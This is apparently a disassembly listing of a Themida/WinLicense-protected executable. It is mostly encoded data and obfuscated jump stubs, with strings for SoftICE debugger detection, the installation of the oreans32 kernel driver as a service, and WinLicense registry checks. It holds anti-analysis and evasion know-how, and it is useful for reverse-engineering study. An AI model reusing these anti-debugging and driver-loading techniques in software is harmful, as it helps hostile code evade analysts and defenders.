		dd 0A569322Ah, 324E0D0Ah, 324F9C35h, 0C415D3EAh, 0FDC1807Dh
		dd 87826562h, 522D49C4h, 0DF75915Ah, 0D94001D0h, 0A11A1241h
		dd 0FC6E2A7h, 0FA78CD48h, 0A66562A9h, 8B4A47E2h, 0F9C8706Fh
		dd 4A63692Ah, 0B655200Ch, 24DBF7BCh, 55759455h,	52CD6004h
		dd 0F0BF3AFDh, 75915851h, 2171ABEh, 81FD4C23h, 2A16C2Ch
		dd 33F24704h, 49EDBC05h, 4532B126h, 5A257AE0h, 17173F99h
		dd 0FA16915Ah, 9F63221Fh, 79480704h, 0FE1AE1DAh, 0CFDAF247h
		dd 57733430h, 0A0BC837Ch, 5C196EE9h, 0E7BB2B81h, 18836D69h
		dd 560B24B3h, 0CEA9C540h, 28F410D3h, 0DC3659AAh, 8582C91Ah
		dd 6A6702C6h, 0BAB48FABh, 965726F5h, 0E6B76573h, 0E7FF54CFh
		dd 357CCD8Bh, 0EAB57938h, 0EFC5E346h, 0EA89B654h, 560D29F2h
		dd 0AA696601h, 3048Eh, 33920000h, 0F4BFB681h, 4100FDD8h
		dd 8F4C4A25h, 0D89F9873h, 20E9E1BCh, 68312904h,	0B277714Ch
		dd 0FDC0BB96h, 490A06E1h, 9D68692Dh, 89000065h,	1668243Ch
		dd 8900004Fh, 51682434h, 8900006Ah, 0BD55242Ch,	2173488Bh
		dd 5CA1ED81h, 0C5811448h, 0F8E5AD00h, 685D5E55h, 54F2h
		dd 81242489h
		dd 42404h, 685D0000h, 53A0h, 89241C89h,	85D89F3h, 242C8B5Bh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		xchg	dh, [ecx+5A5EE4FCh]
		jge	short loc_57376A
		ffree	st(3)


loc_573738:				; CODE XREF: sub_572DB1:loc_572E9Bj
		mov	eax, 610A0B6h
		add	eax, ebp
		jmp	eax
sub_572DB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		fidivr	dword ptr [edi]
		retn	0CA25h
; ---------------------------------------------------------------------------
		dw 2F4Dh
		dd 3AD18606h, 3A0B0042h, 0CC71481Ch, 43EFFE1Bh,	0D9631070h
		dd 0A05F3639h, 0CB766D49h, 1232522Fh
; ---------------------------------------------------------------------------
		aas
		dec	esi
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_57376A:				; CODE XREF: sub_572DB1+983j
		mov	eax, ds:55362CCAh
		setalc
		pop	ds
		sbb	dword ptr [eax+14F63B9Dh], 0FFFFFFBCh
		dec	edx
		db	64h
		aas
		arpl	[ecx-32h], sp
		sub	ecx, [edx]
		push	edx
		pop	es
		in	al, 9Bh
		add	ch, [esi-80h]
		sub	eax, 0CE5E9D26h
		arpl	cx, bp
		lea	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------
		dd 83600000h, 0E1B59BDh, 840F0006h, 5, 78E9h, 80006A00h
		dd 850F303Eh, 8, 0E946006Ah, 35h, 0F333E80h, 885h, 46106A00h
		dd 24E9h, 343E8000h, 8850Fh, 306A0000h,	13E946h, 3E800000h
		dd 8850F35h, 6A000000h,	2E94640h, 6A000000h, 203E8000h
		dd 12850Fh, 7E800000h, 850F0001h, 8, 0E908C483h, 15h, 1BF9858Dh
		dd 5090060Eh, 34895090h, 0FF006A24h, 0E1FD195h,	0C6C36106h
		dd 0E2F1185h, 4E84D06h,	0A8000000h, 50A43576h, 424448Bh
		dd 4489008Bh, 0FF580424h, 0E3031B5h, 0AD858D06h, 0FF060E3Bh
		dd 0D18589D0h, 0E8060E1Fh, 9, 0FB5F931Ch, 0E61C5958h, 0E9816655h
		dd 0F5B5CEFh, 108Ah, 0BE900h, 0AE390000h, 9832CB76h, 150920A1h
		dd 14C381B9h, 2B00005Ah, 0E18A585h, 1660BF06h, 8D0F0000h
		dd 6, 2ED7C181h, 33FF643Eh, 9E8h, 14D6E400h, 0C6054A49h
		dd 0B58B7E11h, 60E1D01h, 8D8B5A5Eh, 60E156Dh, 0B717EA81h
		dd 81FC6586h, 0AC001EF2h, 8154B141h, 0C15F8CF2h, 0B70F5202h
		dd 23038FCFh, 0E1E2D85h, 4EB8306h, 81F2B70Fh, 1EFh, 0AF850F00h
		dd 57FFFFFFh, 58C3BF0Fh, 0AAE9h, 666F5300h, 72617774h
		dd 69575C65h, 63694C6Eh, 65736E65h, 65684300h, 4E496B63h
		dd 72705800h, 7845746Fh, 43007469h, 6B636568h, 54554Fh
		dd 4C6E6957h, 6E656369h, 65566573h, 6F697372h, 6957006Eh
		dd 63694C6Eh, 65736E65h, 76697244h, 65567265h, 6F697372h
		dd 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h, 65636E61h
		dd 69784500h, 6B4F74h, 636F7250h, 50004E49h, 4F636F72h
		dd 45005455h, 49746978h, 7845004Eh, 554F7469h, 70540054h
		dd 4E49h, 2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0A38F8589h
		dd 858D0610h, 610A38Bh,	0F5858D50h, 500610A2h, 168h, 9B95FF80h
		dd 6A0610A3h, 8FB5FF19h, 6A0610A3h, 8D006A01h, 10A32485h
		dd 0B5FF5006h, 610A38Bh, 1D0995FFh, 0B5FF060Eh,	610A38Bh
		dd 0A39795FFh, 0B5FF0610h, 610A38Bh, 9CD95FFh, 89C3060Eh
		dd 10A38F85h, 8B858D06h, 500610A3h, 0A2F5858Dh,	68500610h
		dd 80000001h, 0A39B95FFh, 46A0610h, 0A38F858Dh,	6A500610h
		dd 8D006A04h, 10A34E85h, 0B5FF5006h, 610A38Bh, 1D0995FFh
		dd 0B5FF060Eh, 610A38Bh, 0A39795FFh, 0B5FF0610h, 610A38Bh
		dd 9CD95FFh, 89C3060Eh,	10A38F85h, 8B858D06h, 500610A3h
		dd 0A2F5858Dh, 68500610h, 80000001h, 0A39B95FFh, 46A0610h
		dd 0A38F858Dh, 6A500610h, 8D006A04h, 10A33685h,	0B5FF5006h
		dd 610A38Bh, 1D0995FFh,	0B5FF060Eh, 610A38Bh, 0A39795FFh
		dd 0B5FF0610h, 610A38Bh, 9CD95FFh, 89C3060Eh, 10A38F85h
		dd 8B858D06h, 500610A3h, 0A2F5858Dh, 68500610h,	80000001h
		dd 0A39B95FFh, 46A0610h, 0A38F858Dh, 6A500610h,	8D006A04h
		dd 10A36185h, 0B5FF5006h, 610A38Bh, 1D0995FFh, 0B5FF060Eh
		dd 610A38Bh, 0A39795FFh, 0B5FF0610h, 610A38Bh, 9CD95FFh
		dd 89C3060Eh, 10A38F85h, 8B858D06h, 500610A3h, 0A2F5858Dh
		dd 68500610h, 80000001h, 0A39B95FFh, 46A0610h, 0A38F858Dh
		dd 6A500610h, 8D006A04h, 10A31185h, 0B5FF5006h,	610A38Bh
		dd 1D0995FFh, 0B5FF060Eh, 610A38Bh, 0A39795FFh,	0B5FF0610h
		dd 610A38Bh, 9CD95FFh, 83C3060Eh, 0E293DBDh, 840F0006h
		dd 0Bh,	293D9D8Bh, 0C383060Eh, 0C303894Ch, 293DBD83h, 0F00060Eh
		dd 0B84h, 3D9D8B00h, 83060E29h,	38950C3h, 3DBD83C3h, 60E29h
		dd 0B840Fh, 9D8B0000h, 60E293Dh, 8954C383h, 0BD83C303h
		dd 60E293Dh, 0B840F00h,	8B000000h, 0E293D9Dh, 58C38306h
		dd 83C30389h, 0E293DBDh, 840F0006h, 0Bh, 293D9D8Bh, 0C383060Eh
		dd 0C303895Ch, 858960C3h, 610A38Fh, 0A38B858Dh,	8D500610h
		dd 10A2F585h, 1685006h,	0FF800000h, 10A39B95h, 8D046A06h
		dd 10A38F85h, 46A5006h,	858D006Ah, 610A386h, 8BB5FF50h
		dd 0FF0610A3h, 0E1D0995h, 21BD8306h, 60E0Eh, 0C840Fh, 0B5FF0000h
		dd 610A38Bh, 0A39795FFh, 0B5FF0610h, 610A38Bh, 9CD95FFh
		dd 0C361060Eh, 8F858960h, 8D0610A3h, 10A38B85h,	858D5006h
		dd 610A2F5h, 16850h, 95FF8000h,	610A39Bh, 858D046Ah, 610A38Fh
		dd 6A046A50h, 68858D00h, 500610A3h, 0A38BB5FFh,	95FF0610h
		dd 60E1D09h, 0E21BD83h,	0F00060Eh, 0C84h, 8BB5FF00h, 0FF0610A3h
		dd 10A39795h, 8BB5FF06h, 0FF0610A3h, 0E09CD95h,	60C36106h
		dd 0A38F8589h, 858D0610h, 610A38Bh, 0F5858D50h,	500610A2h
		dd 168h, 9B95FF80h, 6A0610A3h, 8F858D04h, 500610A3h, 6A046Ah
		dd 0A36F858Dh, 0FF500610h, 10A38BB5h, 995FF06h,	83060E1Dh
		dd 0E0E21BDh, 840F0006h, 0Ch, 0A38BB5FFh, 95FF0610h, 610A397h
		dd 0A38BB5FFh, 95FF0610h, 60E09CDh, 8960C361h, 10A38F85h
		dd 8B858D06h, 500610A3h, 0A2F5858Dh, 68500610h,	80000001h
		dd 0A39B95FFh, 46A0610h, 0A38F858Dh, 6A500610h,	8D006A04h
		dd 10A37785h, 0B5FF5006h, 610A38Bh, 1D0995FFh, 0BD83060Eh
		dd 60E0E21h, 0C840F00h,	0FF000000h, 10A38BB5h, 9795FF06h
		dd 0FF0610A3h, 10A38BB5h, 0CD95FF06h, 61060E09h, 858960C3h
		dd 610A38Fh, 0A38B858Dh, 8D500610h, 10A2F585h, 1685006h
		dd 0FF800000h, 10A39B95h, 8D046A06h, 10A38F85h,	46A5006h
		dd 858D006Ah, 610A37Eh,	8BB5FF50h, 0FF0610A3h, 0E1D0995h
		dd 21BD8306h, 60E0Eh, 0C840Fh, 0B5FF0000h, 610A38Bh, 0A39795FFh
		dd 0B5FF0610h, 610A38Bh, 9CD95FFh, 0C361060Eh, 8F85C760h
		dd 10610A3h, 8D000000h,	10A38B85h, 858D5006h, 610A2F5h
		dd 26850h, 95FF8000h, 610A39Bh,	840FC00Bh, 0Fh,	0A38F85C7h
		dd 610h, 4DE90000h, 6A000000h, 8F858D04h, 500610A3h, 6A046Ah
		dd 0A309858Dh, 0FF500610h, 10A38BB5h, 995FF06h,	0B060E1Dh
		dd 0F840FC0h, 0C7000000h, 10A38F85h, 6,	0AE900h, 85C70000h
		dd 610A38Fh, 1,	0A38BB5FFh, 95FF0610h, 60E09CDh, 8F858B61h
		dd 0C30610A3h, 8F858960h, 8D0610A3h, 10A38B85h,	858D5006h
		dd 610A2F5h, 16850h, 95FF8000h,	610A39Bh, 858D046Ah, 610A38Fh
		dd 6A046A50h, 9858D00h,	500610A3h, 0A38BB5FFh, 95FF0610h
		dd 60E1D09h, 0E21BD83h,	0F00060Eh, 0C84h, 8BB5FF00h, 0FF0610A3h
		dd 10A39795h, 8BB5FF06h, 0FF0610A3h, 0E09CD95h,	60C36106h
		dd 0A38F8589h, 858D0610h, 610A38Bh, 0F5858D50h,	500610A2h
		dd 168h, 9B95FF80h, 6A0610A3h, 8F858D04h, 500610A3h, 6A046Ah
		dd 0A31B858Dh, 0FF500610h, 10A38BB5h, 995FF06h,	83060E1Dh
		dd 0E0E21BDh, 840F0006h, 0Ch, 0A38BB5FFh, 95FF0610h, 610A397h
		dd 0A38BB5FFh, 95FF0610h, 60E09CDh, 85C6C361h, 60E2F11h
		dd 7B076852h, 0B5FFADE4h, 60E32E1h, 0FE995FFh, 8589060Eh
		dd 610A39Bh, 2F1185C6h,	6852060Eh, 902E00E5h, 32E1B5FFh
		dd 95FF060Eh, 60E0FE9h,	0A3978589h, 85C60610h, 60E2F11h
		dd 12356852h, 0B5FFB9BFh, 60E32E1h, 0FE995FFh, 8589060Eh
		dd 60E1D09h, 2F1185C6h,	6852060Eh, 98781034h, 32E1B5FFh
		dd 95FF060Eh, 60E0FE9h,	9CD8589h, 85C6060Eh, 60E2F11h
		dd 0DBD46852h, 0B5FFC005h, 60E32E1h, 0FE995FFh,	8589060Eh
		dd 60E0A3Dh, 5C5C1EEBh,	49535C2Eh, 5C004543h, 535C2E5Ch
		dd 49565749h, 5C5C0044h, 544E5C2Eh, 454349h, 6AC08Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0D359E9C3h, 97BBC302h, 60B0363Dh, 136D8D89h,	8361060Eh
		dd 0E0E21BDh, 9750006h,	0FC5BD83h, 7400060Eh, 8B535019h
		dd 40FB8C0h, 85890000h,	60E1D9Dh, 0A86C9D8Dh, 0D3FF0610h
		dd 0BD83585Bh, 60E0FC5h, 50177400h, 40FB853h, 85890000h
		dd 60E1D9Dh, 0A55B9D8Dh, 0D3FF0610h, 8166585Bh,	0F877A2D9h
		dd 0B58BC08Bh, 60E0E81h, 17258D8Bh, 85C6060Eh, 60E2F11h
		dd 0E8B2B643h, 4, 0BC8E6EFCh, 56EDF5BFh, 448B5070h, 8D0F0424h
		dd 12h,	0DE9h, 0F4F22900h, 0F440122h, 812F3720h, 8B2219h
		dd 0AE95250h, 0B5000000h, 9F1F3FABh, 0AEC2218Ch, 0E8310F09h
		dd 6, 3684110Ch, 0BA660029h, 5A5E918Bh,	24448958h, 52506004h
		dd 7FB9310Fh, 5A62594Ch, 13E958h, 816B0000h, 0C1D2703Dh
		dd 0A7A7EB4Eh, 6BC24C23h, 7A41D9F5h, 2358615Ah,	0E2E21B5h
		dd 0F5B5FF06h, 29060E19h, 0E07E195h, 0AD858D06h, 0E9060E3Bh
		dd 6, 72202418h, 0D0FFAEB6h, 0BF665090h, 0BF900913h, 50FDE5CBh
		dd 8501006Ah, 60E1811h,	0D0F3B868h, 0C88B66BEh,	0C8240481h
		dd 8B412F0Ch, 0E226595h, 60036A06h, 28B0Fh, 0D78A0000h
		dd 0B6006A61h, 66036A4Fh, 0BD68F88Bh, 66FF000Ah, 810218BFh
		dd 0ABD2434h, 0B5293F00h, 60E0A09h, 0A9D29D8Dh,	0BD330610h
		dd 60E3379h, 0FA8B6650h, 0F241C89h, 0D0FFCABFh
		dd 7458D8Bh, 0F40060Eh,	27985h,	0F1B58B00h, 58060E1Eh
		dd 0FA8B51B5h, 13E990h,	71660000h, 0F5D3BAFBh, 0E9C431B1h
		dd 245D9E98h, 471BC5D7h, 8A90503Ah, 8B006ACFh, 0E0251BDh
		dd 4E806h, 800000h, 0FB8B0000h,	74BA6650h, 24448BFAh, 5E904h
		dd 45220000h, 8BB2DFB6h, 24448900h, 6DBF6604h, 0C981582Bh
		dd 4864C472h, 0BD89036Ah, 60E0A19h, 9BB9006Ah, 6A1810BCh
		dd 6E903h, 0A2930000h, 449B2E05h, 0D5D18268h, 0D7BBFA5h
		dd 481410Eh, 2A2E7E24h,	52006A1Ah, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 95893154h, 60E208Dh, 88D0Fh
		dd 8B0F0000h, 2, 9D8DEC8Ah, 610A9DBh, 3999D89h,	0B993060Eh
		dd 74C3AEDh, 93E88A50h,	0EE8h, 0E66AE700h, 2280375Bh, 0D1195ED5h
		dd 31AECBA2h, 0E32ED95h, 0D0FF5A06h, 0F40EEB1h,	18185h
		dd 13E800h, 4CC40000h, 84C9A72Dh, 51ACDBAEh, 0A0298CDh
		dd 0D2AD27E8h, 5ACE8B7Ch, 27EF8158h, 900B08FBh,	50F08B66h
		dd 0FE8h, 3F35FB00h, 0B6A91539h, 8953158Bh, 0A7D01BE0h
		dd 15B2905Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0F122C4C3h, 0BF0F7929h, 8BD78BF8h
		dd 0E32DDBDh, 68A26806h, 0FE80945h, 0F6000000h,	8F17249Dh
		dd 7662828Ah, 0FED33537h, 8C0FE589h, 0
; ---------------------------------------------------------------------------
		pop	edi
		xor	dword ptr [esp], 9456822h
		jnz	loc_574334
		mov	esi, [ebp+60E2DB5h]


loc_574334:				; CODE XREF: Themida_:00574328j
		push	3
		mov	ecx, [ebp+60E1A89h]
		push	0
		push	0
		push	eax
		call	sub_574349
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574349	proc near		; CODE XREF: Themida_:00574341p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_574349	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [esi-7Fh], 890AA8F6h
		mov	ch, 7Dh
		add	al, 0Eh
		push	es
		push	3
		mov	ecx, edi
		push	6CEABA74h
		mov	si, bx
		add	dword ptr [esp], 5315458Ch
		mov	dl, 0D1h
		lea	ebx, [ebp+610A9E6h]
		push	0
		push	edx
		call	sub_57438C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57438C	proc near		; CODE XREF: Themida_:00574384p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_57438C	endp

; ---------------------------------------------------------------------------
		dd 0FDDA093Fh, 0FE959C6h, 2F000000h, 0C24AF45Ah, 0D97DB189h
		dd 0BACE61F9h, 0B58BDFA8h, 60E0821h, 8912B150h,	6660241Ch
		dd 66B559BFh, 61128EBFh, 0BE9D0FFh, 0AD000000h,	841C17ABh
		dd 6C31FD3h, 0F4000F9h,	3185h, 6A5800h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3BD9CFC3h
		dd 0A9B52934h, 0E9060E16h, 0FDh, 1FDD8D8Bh, 0D88B060Eh
		dd 34218D8Bh, 94B060Eh,	0E14719Dh, 8E906h, 0A0460000h
		dd 77A80216h, 8B58B98Ch, 0E001DBDh, 1185C606h, 43060E2Fh
		dd 0FDFCB966h, 97D78166h, 6592686Ah, 8AB2F42Ch,	35243481h
		dd 0E8345A2Fh, 0Dh, 0DEE47CCAh,	0A395E868h, 0C80006E8h
		dd 0EE931h, 29920000h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h
		dd 0F5B5FF5Ah, 8B060E19h, 0E08BDBDh, 0AD858D06h, 1060E3Bh
		dd 0E156DB5h, 0E9D0FF06h, 7, 619F6A06h,	936AB0B4h, 0F98B6650h
		dd 0F9BD2993h, 0FF060E0Dh, 8DD38BD0h, 0E719B9Dh, 6850F06h
		dd 89000000h, 0E24B5B5h, 1B806h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8BF8F6C3h
		dd 0E0849BDh, 0E8E3FF06h, 12h, 45480D73h, 241E3F24h, 0C364B19Eh
		dd 8937735h, 8501E0E0h,	60E1481h, 81C18B5Eh, 5A1732C7h
		dd 66C08B23h, 0BD83F18Bh, 60E0E21h, 83097500h, 0E0FC5BDh
		dd 19740006h, 0C08B5350h, 40FB8h, 0C5858900h, 8D060E15h
		dd 10A8D39Dh, 5BD3FF06h, 0C5BD8358h, 60E0Fh, 53501774h
		dd 40FB8h, 0C5858900h, 8D060E15h, 10A5749Dh, 5BD3FF06h
		dd 7E958h, 97800000h, 1D55B2A8h, 7E970h, 65280000h, 220B2451h
		dd 8E8FEh, 2DE90000h, 2F872762h, 0B060F8D1h, 78B86660h
		dd 8B5961A3h, 99E9C0h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 10B01EBDh
		dd 840F0006h, 0Ah, 0FC585C7h, 1060Eh, 85C60000h, 60E2F11h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 60E19F5h, 3BAD858Dh, 0D0FF060Eh,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E0E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C3h, 0AE8h,	0FFCBE900h, 0B4E9FFFFh,	8D000002h, 10AF9EB5h
		dd 225E806h, 0BD030000h, 610B033h, 0B033BD83h, 0F000610h
		dd 0B84h, 2185C700h, 1060E0Eh, 0C3000000h, 0AFA9B58Dh
		dd 0FCE80610h, 3000001h, 10B033BDh, 33BD8306h, 610B0h
		dd 0B840Fh, 85C70000h, 60E0FC5h, 1, 22B58DC3h, 0E80610B0h
		dd 1D3h, 0B033BD03h, 0BD830610h, 610B033h, 0B840F00h, 0C7000000h
		dd 0E1B5985h, 106h, 0B58DC300h,	610AFB3h, 1AAE8h, 33BD0300h
		dd 830610B0h, 10B033BDh, 840F0006h, 0Bh, 0FC585C7h, 1060Eh
		dd 8DC30000h, 10AFBDB5h, 181E806h, 0BD030000h, 610B033h
		dd 0B033BD83h, 0F000610h, 1584h, 0C585C700h, 1060E0Fh
		dd 0C7000000h, 0E0E2185h, 106h,	0B58DC300h, 610AFCBh, 14EE8h
		dd 33BD0300h, 830610B0h, 10B033BDh, 840F0006h, 0Ah, 3F185C7h
		dd 1060Eh, 0B58D0000h, 610AFD5h, 126E8h, 33BD0300h, 830610B0h
		dd 10B033BDh, 840F0006h, 0Ah, 3F185C7h,	1060Eh,	0B58D0000h
		dd 610AFE0h, 0FEE8h, 33BD0300h,	830610B0h, 10B033BDh, 840F0006h
		dd 0Ah,	18F185C7h, 1060Eh, 0B58D0000h, 610AFE6h, 0D6E8h
		dd 33BD0300h, 830610B0h, 10B033BDh, 840F0006h, 0Ah, 300585C7h
		dd 1060Eh, 0B58D0000h, 610AFECh, 0AEE8h, 33BD0300h, 830610B0h
		dd 10B033BDh, 840F0006h, 0Ah, 192585C7h, 1060Eh, 0B58D0000h
		dd 610AFFAh, 86E8h, 33BD0300h, 830610B0h, 10B033BDh, 840F0006h
		dd 0Ah,	209985C7h, 1060Eh, 0B58D0000h, 610B007h, 5EE8h
		dd 33BD0300h, 830610B0h, 10B033BDh, 840F0006h, 0Ah, 29C585C7h
		dd 1060Eh, 0B58D0000h, 610B012h, 36E8h,	33BD0300h, 830610B0h
		dd 10B033BDh, 840F0006h, 0Ah, 2AB585C7h, 1060Eh, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 285h, 8AC92B00h, 0F163817h
		dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0B033B589h, 0AE90610h, 0C7000000h
		dd 10B03385h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 3F185C7h, 60Eh, 0C88B0000h, 0DE8h, 0C8AE7300h
		dd 65B218FFh, 49155953h, 8D895969h, 60E2505h, 0B810F5Eh
		dd 0E9000000h, 6, 36E594E8h, 0C681C3E8h, 608Eh,	17F5B8FCh
		dd 0F2810000h, 7211D984h, 11E936FFh, 2000000h, 41FBEB6h
		dd 8D060F7Ah, 5387EB6Eh, 0E418F163h, 815A505Fh,	7D538AF7h
		dd 41958B3Dh, 81060E2Ah, 0A78A1DC7h, 0F781F91Dh, 334D6F1Fh
		dd 9777BB66h, 10E83E89h, 4C000000h, 5846CB9Ah, 1EFA243Ah
		dd 0C983FF79h, 662D04A8h, 5A7B12B9h, 0E901EE83h, 10h, 0F12DFE8Fh
		dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 814E4E4Eh, 4DBA46C1h
		dd 1E8812Eh, 0F000000h,	0FFFF7F85h, 8EE981FFh, 0E93B226Fh
		dd 20Eh, 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E2F1185h, 86684706h, 0FFE3E45Bh
		dd 0E19F5B5h, 0AD858D06h, 0FF060E3Bh, 10468D0h,	9D8D0000h
		dd 60E2799h, 50D0FF53h,	0B68CB58Dh, 0FE8B0610h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 2F1185C6h
		dd 6843060Eh, 0BC8E6EFCh, 19F5B5FFh, 858D060Eh,	60E3BADh
		dd 0B58DD0FFh, 60E2799h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E2F1185h, 56685706h
		dd 0FFA69BEEh, 0E19F5B5h, 0AD858D06h, 0FF060E3Bh, 0E1BD8DD0h
		dd 8D060E34h, 10B7B28Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 94B58D00h,	8D0610B4h, 10A19685h, 8DD0FF06h
		dd 0E719B8Dh, 0B806h, 0E1FF0000h, 2F1185C6h, 6843060Eh
		dd 0C0764AA7h, 19F5B5FFh, 858D060Eh, 60E3BADh, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_574DA9
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_574DA9:				; CODE XREF: Themida_:00574DA2j
		jmp	loc_57857E
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57857E:				; CODE XREF: Themida_:loc_574DA9j
		jmp	loc_57963A
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
